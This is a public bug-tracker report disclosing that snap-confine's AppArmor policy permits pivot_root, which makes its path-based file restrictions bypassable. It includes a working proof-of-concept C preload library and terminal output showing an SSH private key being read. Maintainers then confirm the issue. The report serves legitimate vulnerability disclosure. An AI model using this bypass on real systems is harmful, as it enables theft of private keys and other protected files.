path-based AppArmor controls for snap-confine are ineffective due to pivot_root

Bug #1791711 reported by Jann Horn (corp account) on 2018-09-10
262
This bug affects 1 person
Affects Status Importance Assigned to Milestone
AppArmor
Undecided
Unassigned

Bug Description

snapd ships with an AppArmor policy for the setuid binary /usr/lib/snapd/snap-confine: https://git.launchpad.net/snapd/tree/cmd/snap-confine/snap-confine.apparmor.in

This AppArmor policy carefully and explicitly whitelists very few filesystem
locations ("We run privileged, so be fanatical about what we include and don't
use any abstractions"), but it also permits unconstrained "pivot_root".
This means that the path-based restrictions are somewhat useless because the
root-privileged process can pivot around the mount tree such that the
entire original mount hierarchy lands under a whitelisted path.

Demo:
================
user@ubuntu-18-04-vm:~$ cat preload_p.c
#define _GNU_SOURCE
#include <sys/mount.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>

void try_open(char *path) {
  int fd = open(path, O_RDWR);
  if (fd != -1) {
    printf("success: %s\n", path);
    char buf[10];
    int res = read(fd, buf, sizeof(buf)-1);
    if (res <= 0) {
      perror("read from %s");
    } else {
      buf[res] = 0;
      printf("read got: \"%s\"\n", buf);
    }
  } else {
    printf("fail: %s (%m)\n", path);
  }
}

void write_file(char *path, char *data) {
  int fd = open(path, O_WRONLY);
  if (fd == -1) err(1, "open %s", path);
  if (write(fd, data, strlen(data) != strlen(data)))
    err(1, "write %s", path);
  close(fd);
}

__attribute__((constructor)) static void entry(void) {
  printf("constructor running from %s\n", program_invocation_name);
  try_open("/home/user/.ssh/id_rsa");
  uid_t uid = geteuid();
  uid_t gid = getegid();
  if (unshare(/*CLONE_NEWUSER|*/CLONE_NEWNS)) err(1, "unshare");
  if (mount("none", "/", NULL, MS_REC|MS_SLAVE, NULL)) err(1, "rslave prop");
  char buf[1000];
  //sprintf(buf, "0 %d 1", uid);
  //write_file("/proc/self/uid_map", buf);
  //sprintf(buf, "0 %d 1", gid);
  //write_file("/proc/self/gid_map", buf);
  //write_file("/proc/self/setgroups", "deny");
  if (mount("none", "/var/lib", "tmpfs", MS_NODEV|MS_NOSUID, "")) err(1, "mount");
  if (mkdir("/var/lib/var", 0777)) err(1, "mkdir");
  if (mkdir("/var/lib/var/lib", 0777)) err(1, "mkdir");
  int pvr = syscall(__NR_pivot_root, "/var/lib", "/var/lib/var/lib");
  if (pvr == 0)
    printf("pivot_root success\n");
  else
    perror("pivot_root");
  try_open("/var/lib/home/user/.ssh/id_rsa");
  exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libc.so-preload preload_p.c -fPIC && sudo chmod u+s /usr/lib/x86_64-linux-gnu/libc.so-preload && LD_PRELOAD=libc.so-preload /usr/lib/snapd/snap-confine
constructor running from /usr/lib/snapd/snap-confine
fail: /home/user/.ssh/id_rsa (Permission denied)
pivot_root success
success: /var/lib/home/user/.ssh/id_rsa
read got: "-----BEGI"
user@ubuntu-18-04-vm:~$
================

[explicitly adding people from the related email thread]

By the way, to Ubuntu's security team: This doesn't seem to be the only place where AppArmor policies permit unconstrained pivot_root; you may want to look through other policies for broad whitelisting of pivot_root.

(The reason why SELinux doesn't have such issues is that SELinux works with filesystem-root-relative paths instead of namespace-root-relative ones, so the mount hierarchy has no effect on security controls, apart from security labels that are set via mount options.)

John Johansen (jjohansen) wrote :

Indeed currently if pivot root is allowed it can be used to subvert apparmor policy. This is a known issue to apparmor upstream. There are plans to fix this in apparmor upstream. At the moment there is nothing snappy can do except maybe move from pivot_root to chroot which is currently better handled by apparmor.

Alright, if it's a known issue, this bug report can be changed to "Public" type, right?

John Johansen (jjohansen) wrote :

yes, thanks for the reminder

information type: Private Security → Public Security
Jamie Strandboge (jdstrand) wrote :

Reassigning to apparmor. When fixes are available there, we'll take a look at updating snap-confine's policy.

Changed in snapd:
status: New → Confirmed
affects: snapd → apparmor
summary: - path-based AppArmor controls for snap-confine are ineffective
+ path-based AppArmor controls for snap-confine are ineffective due to
+ pivot_root
To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers